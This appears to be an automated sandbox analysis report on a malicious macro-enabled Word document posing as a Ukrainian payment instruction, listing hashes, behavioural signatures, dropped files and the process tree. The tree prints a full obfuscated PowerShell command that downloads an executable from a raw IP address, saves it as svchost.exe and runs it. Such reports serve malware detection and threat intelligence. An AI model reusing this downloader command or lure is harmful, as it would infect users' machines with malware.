Analysis

  • max time kernel
    138s
  • max time network
    127s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-05-2024 18:14

General

  • Target

    Платіжна інструкція № 472.rtf.docm

  • Size

    106KB

  • MD5

    0bd1328012301d04bdc921acb321b820

  • SHA1

    724612a3c88f187aa000efe4ff4e9e04c9553696

  • SHA256

    7be9ef61632edc0f2fc6ad59d64ad69dbffbd05013a80ab1dfbb6bd8a6090b66

  • SHA512

    d588760ba4fb450a41563849ec10da311ef317c80da1e816b5d88198aef35379fd15f63512620fa7514f7d46f719afc07bce5fff7690ae6336e5a7d747e7d22f

  • SSDEEP

    1536:FCuLaHmmF7tG8Q/qk8fowr/5mUpKNEteuEC5/ThAoLCAJZSfx6BrqbyGfh:hLIt7tD/rRmCK6guEC5/ThAQSfxSuGQ

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://45.84.0.173/download_22/server.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Платіжна інструкція № 472.rtf.docm" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1448
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c timeout 3 && Powershell -C $B = [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String('JFdlYiA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7ICRVcmwgPSAnaHR0cDovLzQ1Ljg0LjAuMTczL2Rvd25sb2FkXzIyL3NlcnZlci5leGUnOyAkUHRoID0gIiRlbnY6VGVtcFxzdmNob3N0LmV4ZSI7ICRXZWIuRG93bmxvYWRGaWxlKCRVcmwsICRQdGgpOyBJbnZva2UtRXhwcmVzc2lvbiAkUHRoOw==')); $C = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($B)); powershell -E $C;
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:436
      • C:\Windows\system32\timeout.exe
        timeout 3
        3⤵
        • Delays execution with timeout.exe
        PID:1260
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        Powershell -C $B = [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String('JFdlYiA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7ICRVcmwgPSAnaHR0cDovLzQ1Ljg0LjAuMTczL2Rvd25sb2FkXzIyL3NlcnZlci5leGUnOyAkUHRoID0gIiRlbnY6VGVtcFxzdmNob3N0LmV4ZSI7ICRXZWIuRG93bmxvYWRGaWxlKCRVcmwsICRQdGgpOyBJbnZva2UtRXhwcmVzc2lvbiAkUHRoOw==')); $C = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($B)); powershell -E $C;
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4840
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -E JABXAGUAYgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAIAAkAFUAcgBsACAAPQAgACcAaAB0AHQAcAA6AC8ALwA0ADUALgA4ADQALgAwAC4AMQA3ADMALwBkAG8AdwBuAGwAbwBhAGQAXwAyADIALwBzAGUAcgB2AGUAcgAuAGUAeABlACcAOwAgACQAUAB0AGgAIAA9ACAAIgAkAGUAbgB2ADoAVABlAG0AcABcAHMAdgBjAGgAbwBzAHQALgBlAHgAZQAiADsAIAAkAFcAZQBiAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAFUAcgBsACwAIAAkAFAAdABoACkAOwAgAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgACQAUAB0AGgAOwA=
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1920
          • C:\Users\Admin\AppData\Local\Temp\svchost.exe
            "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
            5⤵
            • Executes dropped EXE
            • Checks SCSI registry key(s)
            PID:1176
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1176 -s 368
              6⤵
              • Program crash
              PID:1972
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 1176 -ip 1176
    1⤵
      PID:4336

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
      Filesize

      2KB

      MD5

      2f57fde6b33e89a63cf0dfdd6e60a351

      SHA1

      445bf1b07223a04f8a159581a3d37d630273010f

      SHA256

      3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

      SHA512

      42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      64B

      MD5

      3ca1082427d7b2cd417d7c0b7fd95e4e

      SHA1

      b0482ff5b58ffff4f5242d77330b064190f269d3

      SHA256

      31f15dc6986680b158468bf0b4a1c00982b07b2889f360befd8a466113940d8f

      SHA512

      bbcfd8ea1e815524fda500b187483539be4a8865939f24c6e713f0a3bd90b69b4367c36aa2b09886b2006b685f81f0a77eec23ab58b7e2fb75304b412deb6ca3

    • C:\Users\Admin\AppData\Local\Temp\TCD767C.tmp\gb.xsl
      Filesize

      262KB

      MD5

      51d32ee5bc7ab811041f799652d26e04

      SHA1

      412193006aa3ef19e0a57e16acf86b830993024a

      SHA256

      6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

      SHA512

      5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mh5arlx4.zza.ps1
      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\svchost.exe
      Filesize

      180KB

      MD5

      92c57dd80b764a028749520017d44e76

      SHA1

      f732220adaacf23de6cc69d964341766d2e350d9

      SHA256

      dbd741a45d840d06d708339f9e9824f2a0d745ea6537ca44bff233ba7441bfda

      SHA512

      dd7d363fef5750a256abc2ae43d17f8e4788d392afaa74a2085f34da05efeb12373f38fbf480e1c86eb2759c667c971c7c54512f5d59ee61f5a0a4341ac406c8

    • memory/1176-67-0x0000000000400000-0x0000000002349000-memory.dmp
      Filesize

      31.3MB

    • memory/1448-12-0x00007FF9B03F0000-0x00007FF9B05E5000-memory.dmp
      Filesize

      2.0MB

    • memory/1448-415-0x00007FF9B03F0000-0x00007FF9B05E5000-memory.dmp
      Filesize

      2.0MB

    • memory/1448-11-0x00007FF9B03F0000-0x00007FF9B05E5000-memory.dmp
      Filesize

      2.0MB

    • memory/1448-0-0x00007FF970470000-0x00007FF970480000-memory.dmp
      Filesize

      64KB

    • memory/1448-10-0x00007FF9B03F0000-0x00007FF9B05E5000-memory.dmp
      Filesize

      2.0MB

    • memory/1448-9-0x00007FF9B03F0000-0x00007FF9B05E5000-memory.dmp
      Filesize

      2.0MB

    • memory/1448-13-0x00007FF96E3B0000-0x00007FF96E3C0000-memory.dmp
      Filesize

      64KB

    • memory/1448-8-0x00007FF9B03F0000-0x00007FF9B05E5000-memory.dmp
      Filesize

      2.0MB

    • memory/1448-14-0x00007FF9B03F0000-0x00007FF9B05E5000-memory.dmp
      Filesize

      2.0MB

    • memory/1448-15-0x00007FF9B03F0000-0x00007FF9B05E5000-memory.dmp
      Filesize

      2.0MB

    • memory/1448-16-0x00007FF96E3B0000-0x00007FF96E3C0000-memory.dmp
      Filesize

      64KB

    • memory/1448-17-0x00007FF9B03F0000-0x00007FF9B05E5000-memory.dmp
      Filesize

      2.0MB

    • memory/1448-18-0x00007FF9B03F0000-0x00007FF9B05E5000-memory.dmp
      Filesize

      2.0MB

    • memory/1448-32-0x00007FF9B03F0000-0x00007FF9B05E5000-memory.dmp
      Filesize

      2.0MB

    • memory/1448-31-0x00007FF9B03F0000-0x00007FF9B05E5000-memory.dmp
      Filesize

      2.0MB

    • memory/1448-580-0x00007FF9B03F0000-0x00007FF9B05E5000-memory.dmp
      Filesize

      2.0MB

    • memory/1448-7-0x00007FF970470000-0x00007FF970480000-memory.dmp
      Filesize

      64KB

    • memory/1448-4-0x00007FF970470000-0x00007FF970480000-memory.dmp
      Filesize

      64KB

    • memory/1448-6-0x00007FF9B03F0000-0x00007FF9B05E5000-memory.dmp
      Filesize

      2.0MB

    • memory/1448-5-0x00007FF9B03F0000-0x00007FF9B05E5000-memory.dmp
      Filesize

      2.0MB

    • memory/1448-1-0x00007FF970470000-0x00007FF970480000-memory.dmp
      Filesize

      64KB

    • memory/1448-2-0x00007FF970470000-0x00007FF970480000-memory.dmp
      Filesize

      64KB

    • memory/1448-3-0x00007FF9B048D000-0x00007FF9B048E000-memory.dmp
      Filesize

      4KB

    • memory/1448-551-0x00007FF9B03F0000-0x00007FF9B05E5000-memory.dmp
      Filesize

      2.0MB

    • memory/1448-552-0x00007FF9B03F0000-0x00007FF9B05E5000-memory.dmp
      Filesize

      2.0MB

    • memory/1448-553-0x00007FF9B03F0000-0x00007FF9B05E5000-memory.dmp
      Filesize

      2.0MB

    • memory/1448-576-0x00007FF970470000-0x00007FF970480000-memory.dmp
      Filesize

      64KB

    • memory/1448-578-0x00007FF970470000-0x00007FF970480000-memory.dmp
      Filesize

      64KB

    • memory/1448-579-0x00007FF970470000-0x00007FF970480000-memory.dmp
      Filesize

      64KB

    • memory/1448-577-0x00007FF970470000-0x00007FF970480000-memory.dmp
      Filesize

      64KB

    • memory/4840-41-0x00000273FE700000-0x00000273FE722000-memory.dmp
      Filesize

      136KB